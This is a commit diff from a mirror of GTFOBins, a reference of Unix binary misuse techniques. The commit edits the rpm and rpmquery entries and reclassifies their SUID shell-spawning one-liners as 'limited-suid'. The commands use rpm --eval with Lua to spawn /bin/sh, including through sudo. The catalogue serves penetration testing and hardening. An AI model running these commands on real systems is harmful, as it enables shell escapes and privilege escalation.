public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2025-10-31 08:48:54 +01:00
Code Issues Projects Releases Wiki Activity

Fix rpm[query] SUID

Browse Source
This commit is contained in:
Andrea Cardaci
2021-01-10 18:25:55 +01:00
parent 33fb39a183
commit bb4050810e
2 changed files with 4 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
_gtfobins/rpm.md
View File

@@ -2,8 +2,8 @@
functions: functions:
shell: shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}' - code: rpm --eval '%{lua:os.execute("/bin/sh")}'
suid: limited-suid:
- code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}' - code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo: sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}' - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: | - description: |

4
_gtfobins/rpmquery.md
View File

@@ -2,8 +2,8 @@
functions: functions:
shell: shell:
- code: rpmquery --eval '%{lua:posix.exec("/bin/sh")}' - code: rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
suid: limited-suid:
- code: ./rpmquery --eval '%{lua:posix.exec("/bin/sh", "-p")}' - code: ./rpmquery --eval '%{lua:os.execute("/bin/sh")}'
sudo: sudo:
- code: sudo rpmquery --eval '%{lua:posix.exec("/bin/sh")}' - code: sudo rpmquery --eval '%{lua:posix.exec("/bin/sh")}'
--- ---